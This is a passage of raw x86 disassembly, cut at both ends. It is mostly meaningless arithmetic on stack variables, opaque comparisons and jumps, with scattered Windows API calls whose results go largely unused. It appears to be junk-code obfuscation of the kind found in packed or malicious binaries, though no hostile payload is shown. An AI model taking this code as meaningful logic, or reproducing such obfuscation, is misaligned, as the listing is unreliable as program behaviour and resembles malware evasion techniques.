movzx edx, byte [ebp - 0x3495]
add ecx, edx
mov byte [ebp + 0xc], cl
movzx eax, byte [ebp - 0x3495]
mov ecx, dword [ebp - 0x26fc]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x1678]
mov byte [ecx], al
jmp 0x40208c
mov edx, dword [ebp - 0x140c]
mov eax, dword [edx]
mov dword [ebp - 0x39a0], eax
cmp dword [ebp - 0x39a0], 0
je 0x4022f9
jmp 0x429d40
lea ecx, [ebp - 0x381c]
mov dword [ebp - 0x1d24], ecx
cmp dword [ebp - 0x480], 0x6dd7
jbe 0x402623
mov edx, dword [ebp - 0x3168]
sub edx, dword [ebp - 0x2a4c]
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3794]
mov edx, dword [ecx]
add edx, dword [ebp - 0x798]
mov eax, dword [ebp - 0x2260]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1b34]
movzx edx, word [ecx]
movzx ecx, word [ebp + 8]
sar edx, cl
mov word [ebp - 0x24a0], dx
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
movzx edx, byte [ebp + 0xc]
xor ecx, edx
mov byte [ebp - 0x3495], cl
movzx eax, byte [ebp - 0x3495]
mov ecx, dword [ebp - 0x1ec]
movzx edx, byte [ecx]
or eax, edx
mov byte [ebp + 0xc], al
mov eax, dword [ebp - 0x1d78]
movsx ecx, byte [eax]
shl ecx, 4
mov byte [ebp - 0x2569], cl
movzx edx, byte [ebp - 0x3495]
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp + 0xc], dl
mov edx, dword [ebp - 0x3794]
mov eax, dword [ebp - 0x2a4c]
add eax, dword [edx]
mov dword [ebp - 0x798], eax
mov ecx, dword [ebp - 0x26fc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x1ec]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x26fc]
mov byte [eax], dl
mov ecx, dword [ebp - 0x480]
sub ecx, 0x23
mov dword [ebp - 0x480], ecx
movzx edx, word [ebp - 0x24a0]
movzx eax, word [ebp + 8]
sub edx, eax
mov ecx, dword [ebp - 0xc1c]
mov word [ecx], dx
mov edx, dword [ebp - 0x1d24]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x140c]
add eax, dword [ecx]
mov dword [ebp - 0x538], eax
movzx edx, byte [ebp - 0x3495]
mov eax, dword [ebp - 0x1ec]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp + 0xc], dl
mov edx, dword [ebp - 0x2260]
mov eax, dword [ebp - 0x2a4c]
add eax, dword [edx]
mov ecx, dword [ebp - 0x3794]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1b34]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x24a0]
and eax, ecx
mov word [ebp + 8], ax
movzx edx, word [ebp - 0x24a0]
mov eax, dword [ebp - 0x1b34]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x100]
mov word [eax], dx
movzx ecx, byte [ebp + 0xc]
mov edx, dword [ebp - 0x26fc]
movzx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x3495], cl
movzx ecx, byte [ebp - 0x3495]
mov edx, dword [ebp - 0x1ec]
movzx eax, byte [edx]
or ecx, eax
mov byte [ebp + 0xc], cl
mov edx, dword [ebp - 0x16fc]
mov ecx, dword [ebp - 0x798]
shl edx, cl
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1d24]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x381c]
shr edx, cl
mov dword [ebp - 0x538], edx
mov eax, dword [ebp - 0x3168]
sub eax, dword [ebp - 0x798]
mov ecx, dword [ebp - 0x3794]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2260]
mov eax, dword [edx]
and eax, dword [ebp - 0x3168]
mov ecx, dword [ebp - 0x3794]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1d78]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2569]
add eax, ecx
mov edx, dword [ebp - 0x1d78]
mov byte [edx], al
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x3495]
sub ecx, edx
mov byte [ebp + 0xc], cl
mov eax, dword [ebp - 0xc1c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x24a0]
sub ecx, edx
mov eax, dword [ebp - 0x100]
mov word [eax], cx
mov ecx, dword [ebp - 0x1678]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x3495]
add edx, eax
mov ecx, dword [ebp - 0x1678]
mov byte [ecx], dl
movzx edx, byte [ebp - 0x3495]
mov eax, dword [ebp - 0x1ec]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp + 0xc], dl
mov edx, dword [ebp - 0x3794]
mov eax, dword [ebp - 0x2260]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x3794]
mov dword [edx], ecx
movzx eax, word [ebp - 0x24a0]
mov ecx, dword [ebp - 0xc1c]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x1b34]
mov word [ecx], ax
movzx edx, byte [ebp + 0xc]
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x1ec]
mov byte [eax], dl
mov ecx, dword [ebp - 0x1d24]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x381c]
mov dword [ebp - 0x538], edx
mov eax, dword [ebp - 0x2260]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x16fc]
mov edx, dword [ebp - 0x3794]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2260]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x16fc]
shl edx, cl
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1d24]
mov edx, dword [ebp - 0x538]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x381c], edx
mov eax, dword [ebp - 0xc1c]
movzx ecx, word [eax]
movzx edx, word [ebp + 8]
add ecx, edx
mov word [ebp - 0x24a0], cx
jmp 0x402305
cmp dword [ebp - 0x2c84], 0x542e
jb 0x40280e
movzx eax, byte [ebp + 0xc]
mov ecx, dword [ebp - 0x1ec]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x3495], al
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x1ec]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp + 0xc], cl
mov ecx, dword [ebp - 0x2260]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x798]
mov dword [ebp - 0x3168], edx
movsx eax, byte [ebp - 0x2569]
add eax, 5
mov ecx, dword [ebp - 0x1d78]
mov byte [ecx], al
mov edx, dword [ebp - 0x718]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x17e0]
add eax, ecx
mov edx, dword [ebp - 0x718]
mov word [edx], ax
mov eax, dword [ebp - 0x100]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1b34]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x100]
mov word [edx], cx
movzx eax, byte [ebp - 0x3495]
mov ecx, dword [ebp - 0x1ec]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x1678]
mov byte [ecx], al
mov edx, dword [ebp - 0x1d24]
mov eax, dword [ebp - 0x381c]
sub eax, dword [edx]
mov dword [ebp - 0x538], eax
mov ecx, dword [ebp - 0x1d24]
mov edx, dword [ebp - 0x381c]
add edx, dword [ecx]
mov dword [ebp - 0x538], edx
mov eax, dword [ebp - 0x2c84]
sub eax, 0x50
mov dword [ebp - 0x2c84], eax
mov ecx, dword [ebp - 0x3794]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x16fc]
mov dword [ebp - 0x3168], edx
mov eax, dword [ebp - 0x1ec]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp + 0xc], dl
mov ecx, dword [ebp - 0x3794]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x798]
mov eax, dword [ebp - 0x2260]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x3495]
mov edx, dword [ebp - 0x1ec]
movzx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x1678]
mov byte [edx], cl
mov eax, dword [ebp - 0x1b34]
movzx edx, word [eax]
mov eax, dword [ebp - 0xc1c]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x24a0], dx
mov ecx, dword [ebp - 0x538]
and ecx, dword [ebp - 0x381c]
mov edx, dword [ebp - 0x140c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3794]
mov ecx, dword [ebp - 0x798]
add ecx, dword [eax]
mov edx, dword [ebp - 0x2260]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x3495]
sub ecx, edx
mov byte [ebp + 0xc], cl
mov eax, dword [ebp - 0x1d24]
mov ecx, dword [ebp - 0x538]
and ecx, dword [eax]
mov edx, dword [ebp - 0x140c]
mov dword [edx], ecx
movzx eax, word [ebp - 0x24a0]
movzx ecx, word [ebp + 8]
add eax, ecx
mov edx, dword [ebp - 0xc1c]
mov word [edx], ax
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x3495]
add ecx, edx
mov eax, dword [ebp - 0x1678]
mov byte [eax], cl
jmp 0x402623
mov ecx, dword [ebp - 0x718]
movsx edx, word [ecx]
add edx, 0x67e8
movsx eax, word [ebp - 0x17e0]
cmp edx, eax
je 0x429aff
movzx ecx, byte [ebp + 0xc]
mov edx, dword [ebp - 0x1ec]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x3495], cl
movzx ecx, word [ebp + 8]
mov edx, dword [ebp - 0xc1c]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x24a0], cx
mov ecx, dword [ebp - 0x381c]
sub ecx, dword [ebp - 0x538]
mov edx, dword [ebp - 0x140c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2a4c]
mov ecx, dword [ebp - 0x798]
sar eax, cl
mov dword [ebp - 0x3168], eax
movzx edx, byte [ebp - 0x3495]
mov eax, dword [ebp - 0x1ec]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp + 0xc], dl
mov ecx, dword [ebp - 0x16fc]
xor ecx, dword [ebp - 0x3168]
mov edx, dword [ebp - 0x2260]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2260]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x798]
mov edx, dword [ebp - 0x2260]
mov dword [edx], ecx
mov eax, dword [ebp - 0x718]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x17e0]
and ecx, edx
mov eax, dword [ebp - 0x718]
mov word [eax], cx
mov ecx, dword [ebp - 0x1d78]
movsx edx, byte [ecx]
add edx, 0x71
mov byte [ebp - 0x2569], dl
mov eax, dword [ebp - 0x1b34]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x24a0]
add ecx, edx
mov eax, dword [ebp - 0x1b34]
mov word [eax], cx
mov ecx, dword [ebp - 0x26fc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x3495], dl
mov edx, dword [ebp - 0x1d24]
mov eax, dword [edx]
add eax, dword [ebp - 0x7cc]
mov dword [ebp - 0x381c], eax
mov ecx, dword [ebp - 0x381c]
sub ecx, dword [ebp - 0x7cc]
mov edx, dword [ebp - 0x140c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1f7c]
add eax, 0x6b
mov dword [ebp - 0x1f7c], eax
movzx ecx, word [ebp - 0x24a0]
mov edx, dword [ebp - 0xc1c]
movzx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x1b34]
mov word [edx], cx
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x1ec]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x26fc]
mov byte [edx], cl
cmp dword [ebp - 0x1f7c], 0xa221
jb 0x40282c
mov eax, dword [ebp - 0x16fc]
mov dword [ebp - 0x2ca4], eax
mov ecx, dword [ebp - 0x1d24]
mov edx, dword [ecx]
mov dword [ebp - 0x39a4], edx
cmp dword [ebp - 0x39a4], 0
je 0x4029c6
jmp 0x429a5b
cmp dword [ebp - 0x14a8], 0xa964
je 0x402d93
movzx eax, byte [ebp + 0xc]
movzx ecx, byte [ebp - 0x3495]
xor eax, ecx
mov edx, dword [ebp - 0x1678]
mov byte [edx], al
mov eax, dword [ebp - 0x7cc]
or eax, dword [ebp - 0x538]
mov dword [ebp - 0x381c], eax
movzx ecx, byte [ebp - 0x3495]
mov edx, dword [ebp - 0x26fc]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp + 0xc], cl
mov ecx, dword [ebp - 0x1ec]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x3495]
sub edx, eax
mov byte [ebp + 0xc], dl
mov ecx, dword [ebp - 0x1d78]
movsx edx, byte [ecx]
sub edx, 0x61
mov byte [ebp - 0x2569], dl
mov eax, dword [ebp - 0x1b34]
movzx ecx, word [eax]
movzx edx, word [ebp + 8]
sub ecx, edx
mov word [ebp - 0x24a0], cx
movzx eax, byte [ebp - 0x3495]
mov ecx, dword [ebp - 0x1678]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x1ec]
mov byte [ecx], al
mov edx, dword [ebp - 0x381c]
add edx, dword [ebp - 0x7cc]
mov dword [ebp - 0x538], edx
mov eax, dword [ebp - 0x2260]
mov ecx, dword [ebp - 0x798]
add ecx, dword [eax]
mov edx, dword [ebp - 0x3794]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2260]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x3168]
mov edx, dword [ebp - 0x3794]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1d24]
mov ecx, dword [eax]
mov dword [ebp - 0x7cc], ecx
mov edx, dword [ebp - 0x1678]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x3495]
add eax, ecx
mov byte [ebp + 0xc], al
mov edx, dword [ebp - 0x100]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x24a0]
sar eax, cl
mov ecx, dword [ebp - 0xc1c]
mov word [ecx], ax
mov edx, dword [ebp - 0x1678]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x3495]
or eax, ecx
mov byte [ebp + 0xc], al
mov edx, dword [ebp - 0x16fc]
xor edx, dword [ebp - 0x2ca4]
mov dword [ebp - 0x798], edx
mov eax, dword [ebp - 0x1d24]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x538]
shl edx, cl
mov eax, dword [ebp - 0x140c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2a4c]
sub ecx, dword [ebp - 0x2ca4]
mov dword [ebp - 0x16fc], ecx
movzx edx, byte [ebp - 0x3495]
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp + 0xc], dl
mov edx, dword [ebp - 0x14a8]
add edx, 0x17
mov dword [ebp - 0x14a8], edx
movzx eax, byte [ebp + 0xc]
movzx ecx, byte [ebp - 0x3495]
add eax, ecx
mov edx, dword [ebp - 0x26fc]
mov byte [edx], al
movzx eax, word [ebp - 0x24a0]
mov ecx, dword [ebp - 0xc1c]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x1b34]
mov word [ecx], ax
movsx edx, byte [ebp - 0x2569]
add edx, 0x38
mov eax, dword [ebp - 0x1d78]
mov byte [eax], dl
mov ecx, dword [ebp - 0x718]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x17e0]
sub edx, eax
mov ecx, dword [ebp - 0x718]
mov word [ecx], dx
mov edx, dword [ebp - 0x140c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x381c]
mov ecx, dword [ebp - 0x140c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2260]
mov eax, dword [edx]
add eax, dword [ebp - 0x2ca4]
mov ecx, dword [ebp - 0x3794]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x3495]
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x1ec]
mov byte [eax], dl
mov ecx, dword [ebp - 0x100]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x1b34]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0xc1c]
mov word [eax], dx
mov ecx, dword [ebp - 0x1d24]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x381c]
mov dword [ebp - 0x538], edx
mov eax, dword [ebp - 0x3794]
mov edx, dword [ebp - 0x2a4c]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x2260]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3794]
mov edx, dword [ebp - 0x3168]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x2260]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1ec]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x3495]
or edx, eax
mov byte [ebp + 0xc], dl
movzx ecx, word [ebp - 0x24a0]
movzx edx, word [ebp + 8]
add ecx, edx
mov eax, dword [ebp - 0x1b34]
mov word [eax], cx
movzx ecx, byte [ebp + 0xc]
mov edx, dword [ebp - 0x26fc]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x3495], cl
mov ecx, dword [ebp - 0x2260]
mov edx, dword [ebp - 0x16fc]
and edx, dword [ecx]
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3794]
mov edx, dword [ebp - 0x2a4c]
add edx, dword [ecx]
mov eax, dword [ebp - 0x2260]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1d24]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x140c]
add edx, dword [eax]
mov ecx, dword [ebp - 0x1d24]
mov dword [ecx], edx
mov edx, dword [ebp - 0x798]
sub edx, dword [ebp - 0x2ca4]
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3794]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2a4c]
mov eax, dword [ebp - 0x2260]
mov dword [eax], edx
movsx ecx, word [ebp - 0x17e0]
sub ecx, 0x6df0
mov edx, dword [ebp - 0x718]
mov word [edx], cx
mov eax, dword [ebp - 0x1d78]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x2569]
sub ecx, edx
mov eax, dword [ebp - 0x1d78]
mov byte [eax], cl
movzx ecx, byte [ebp - 0x3495]
movzx edx, byte [ebp + 0xc]
sub ecx, edx
mov eax, dword [ebp - 0x1678]
mov byte [eax], cl
movzx ecx, word [ebp - 0x24a0]
movzx edx, word [ebp + 8]
sub ecx, edx
mov eax, dword [ebp - 0xc1c]
mov word [eax], cx
movzx ecx, byte [ebp - 0x3495]
mov edx, dword [ebp - 0x1ec]
movzx eax, byte [edx]
xor ecx, eax
mov byte [ebp + 0xc], cl
mov ecx, dword [ebp - 0x798]
or ecx, dword [ebp - 0x16fc]
mov dword [ebp - 0x2a4c], ecx
jmp 0x4029c6
mov edx, dword [ebp - 0x718]
movsx eax, word [edx]
mov dword [ebp - 0x39a8], eax
cmp dword [ebp - 0x39a8], 0xffff9210
je 0x402db0
jmp 0x402e26
mov ecx, dword [ebp - 0x26fc]
mov dl, byte [ecx]
mov byte [ebp - 0x39ac], dl
cmp byte [ebp - 0x39ac], 0x43
je 0x402dc9
jmp 0x402e21
lea eax, [ebp - 0x1394]
push eax
lea ecx, [ebp - 0xc30]
push ecx
lea edx, [ebp - 0xb0c]
push edx
lea eax, [ebp - 0x878]
push eax
call dword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [ebp - 0x2218], eax
mov ecx, dword [ebp - 0x1ec]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x3495]
shl edx, cl
mov eax, dword [ebp - 0x26fc]
mov byte [eax], dl
movzx edx, word [ebp + 8]
mov eax, dword [ebp - 0x1b34]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x24a0], dx
jmp 0x402ed4
lea ecx, [ebp - 0x381c]
push ecx
lea edx, [ebp - 0x12b8]
push edx
lea eax, [ebp - 0x878]
push eax
push 0xf
lea ecx, [ebp - 0x1e80]
push ecx
call dword [sym.imp.SHELL32.dll_PathMakeUniqueName]
mov dword [ebp - 0x1bac], eax
mov edx, dword [ebp - 0x1d78]
movsx eax, byte [edx]
and eax, 0x35
movsx ecx, byte [ebp - 0x2569]
cmp eax, ecx
jl 0x402ed4
mov edx, dword [ebp - 0x140c]
mov eax, dword [edx]
add eax, dword [ebp - 0x7cc]
mov ecx, dword [ebp - 0x1d24]
mov dword [ecx], eax
mov dl, byte [ebp - 0x2569]
mov byte [ebp - 0x39b0], dl
cmp byte [ebp - 0x39b0], 0x7b
je 0x402e94
jmp 0x402ec1
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x1678]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp + 0xc], cl
mov ecx, dword [ebp - 0x798]
and ecx, dword [ebp - 0x2ca4]
mov edx, dword [ebp - 0x2260]
mov dword [edx], ecx
jmp 0x402ed4
lea eax, [ebp - 0xb7c]
push eax
call dword [sym.imp.COMDLG32.dll_FindTextW]
mov dword [ebp - 0x16f4], eax
mov ecx, dword [ebp - 0x718]
movsx edx, word [ecx]
sub edx, 0xf52
movsx eax, word [ebp - 0x17e0]
cmp edx, eax
jg 0x402f8b
lea ecx, [ebp - 0x538]
mov dword [ebp - 0x22e0], ecx
mov dword [ebp - 0x6e4], 0x6f04
mov edx, dword [ebp - 0x381c]
mov dword [ebp - 0x39b4], edx
cmp dword [ebp - 0x39b4], 0x496a6b3b
je 0x402f22
jmp 0x402f6a
mov eax, dword [ebp - 0xc1c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x24a0]
sub ecx, edx
mov eax, dword [ebp - 0x1b34]
mov word [eax], cx
movzx ecx, byte [ebp + 0xc]
mov edx, dword [ebp - 0x1678]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x3495], cl
mov ecx, dword [ebp - 0x3794]
mov edx, dword [ebp - 0x3168]
add edx, dword [ecx]
mov eax, dword [ebp - 0x2260]
mov dword [eax], edx
jmp 0x402f7c
mov ecx, dword [ebp - 0x16fc]
or ecx, dword [ebp - 0x2a4c]
mov dword [ebp - 0x2ca4], ecx
mov dword [ebp - 0x50c], 0x4687
jmp 0x4030b0
mov edx, dword [ebp - 0x718]
movsx eax, word [edx]
sub eax, 0x5391
movsx ecx, word [ebp - 0x17e0]
cmp eax, ecx
jne 0x4030b0
mov edx, dword [ebp - 0x22e0]
mov eax, dword [edx]
mov dword [ebp - 0x39b8], eax
cmp dword [ebp - 0x39b8], 0x4af78c2c
je 0x402fc7
jmp 0x403093
movsx ecx, byte [ebp - 0x2569]
sar ecx, 0x30
mov edx, dword [ebp - 0x1d78]
movsx eax, byte [edx]
cmp ecx, eax
jg 0x403091
mov ecx, dword [ebp - 0x1d78]
movsx edx, byte [ecx]
shl edx, 4
mov byte [ebp - 0x2569], dl
call dword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [ebp - 0x381c], eax
mov eax, dword [ebp - 0x100]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0x1d78]
movzx eax, byte [edx]
push eax
movzx ecx, word [ebp - 0x17e0]
push ecx
mov dl, byte [ebp - 0x3495]
mov eax, dword [ebp - 0x1ec]
mov cl, byte [eax]
call fcn.00478870
mov ecx, dword [ebp - 0x718]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x17e0]
xor edx, eax
mov ecx, dword [ebp - 0x718]
mov word [ecx], dx
lea edx, [ebp - 0xe14]
push edx
call dword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [ebp - 0xe38], eax
mov eax, dword [ebp - 0xc1c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1b34]
movzx eax, word [edx]
and ecx, eax
mov word [ebp + 8], cx
mov ecx, dword [ebp - 0x1ec]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x1ec]
mov byte [eax], dl
jmp 0x4030b0
push 0x49
mov ecx, dword [ebp - 0x1608]
push ecx
mov edx, dword [ebp - 0x254c]
push edx
call dword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [ebp - 0x35b8], ax
mov eax, dword [ebp - 0x7cc]
sub eax, dword [ebp - 0x381c]
mov ecx, dword [ebp - 0x140c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x22e0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x140c]
add eax, dword [ecx]
mov dword [ebp - 0x538], eax
mov edx, dword [ebp - 0x2260]
mov eax, dword [edx]
sub eax, dword [ebp - 0x16fc]
mov ecx, dword [ebp - 0x2260]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3168]
and edx, dword [ebp - 0x798]
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3794]
mov edx, dword [ebp - 0x2ca4]
sub edx, dword [ecx]
mov dword [ebp - 0x798], edx
mov eax, dword [ebp - 0x1b34]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x24a0]
add ecx, edx
mov eax, dword [ebp - 0xc1c]
mov word [eax], cx
mov ecx, dword [ebp - 0x26fc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x3495]
add edx, eax
mov ecx, dword [ebp - 0x1ec]
mov byte [ecx], dl
mov edx, dword [ebp - 0x1d24]
mov eax, dword [ebp - 0x22e0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x7cc], ecx
mov edx, dword [ebp - 0x2260]
mov eax, dword [ebp - 0x2a4c]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x3794]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2260]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2ca4]
sar eax, cl
mov ecx, dword [ebp - 0x2260]
mov dword [ecx], eax
mov edx, dword [ebp - 0x50c]
add edx, 0x2d
mov dword [ebp - 0x50c], edx
mov eax, dword [ebp - 0x1d24]
mov ecx, dword [ebp - 0x22e0]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x140c]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x3495]
movzx edx, byte [ebp + 0xc]
or ecx, edx
mov eax, dword [ebp - 0x1ec]
mov byte [eax], cl
mov ecx, dword [ebp - 0x1b34]
movzx edx, word [ecx]
movzx eax, word [ebp + 8]
and edx, eax
mov word [ebp - 0x24a0], dx
movsx ecx, byte [ebp - 0x2569]
sub ecx, 0x55
mov edx, dword [ebp - 0x1d78]
mov byte [edx], cl
movsx eax, word [ebp - 0x35b8]
mov ecx, dword [ebp - 0x718]
movsx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x17e0], ax
mov eax, dword [ebp - 0x22e0]
mov ecx, dword [ebp - 0x381c]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x140c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x798]
add eax, dword [ebp - 0x3168]
mov ecx, dword [ebp - 0x2260]
mov dword [ecx], eax
mov edx, dword [ebp - 0x100]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x24a0]
add eax, ecx
mov edx, dword [ebp - 0xc1c]
mov word [edx], ax
movzx eax, byte [ebp + 0xc]
mov ecx, dword [ebp - 0x1ec]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x1678]
mov byte [ecx], al
mov edx, dword [ebp - 0x3794]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2ca4]
mov ecx, dword [ebp - 0x3794]
mov dword [ecx], eax
mov edx, dword [ebp - 0x22e0]
mov eax, dword [ebp - 0x7cc]
add eax, dword [edx]
mov ecx, dword [ebp - 0x140c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2260]
mov eax, dword [ebp - 0x2a4c]
add eax, dword [edx]
mov ecx, dword [ebp - 0x3794]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x3495]
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
or edx, ecx
mov byte [ebp + 0xc], dl
mov edx, dword [ebp - 0x1b34]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x24a0]
sar eax, cl
mov ecx, dword [ebp - 0xc1c]
mov word [ecx], ax
mov edx, dword [ebp - 0x1ec]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x26fc]
movzx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x3495], al
mov eax, dword [ebp - 0x1d24]
mov edx, dword [ebp - 0x381c]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x22e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2ca4]
and ecx, dword [ebp - 0x798]
mov edx, dword [ebp - 0x3794]
mov dword [edx], ecx
cmp dword [ebp - 0x50c], 0x570d
jb 0x4030b0
mov al, byte [ebp - 0x3495]
mov byte [ebp - 0x39bc], al
cmp byte [ebp - 0x39bc], 0
je 0x40334e
jmp 0x429824
mov ecx, dword [ebp - 0x140c]
mov edx, dword [ecx]
mov dword [ebp - 0x39c0], edx
cmp dword [ebp - 0x39c0], 0x1308b845
je 0x40336d
jmp 0x40341d
lea eax, [ebp - 0x418]
push eax
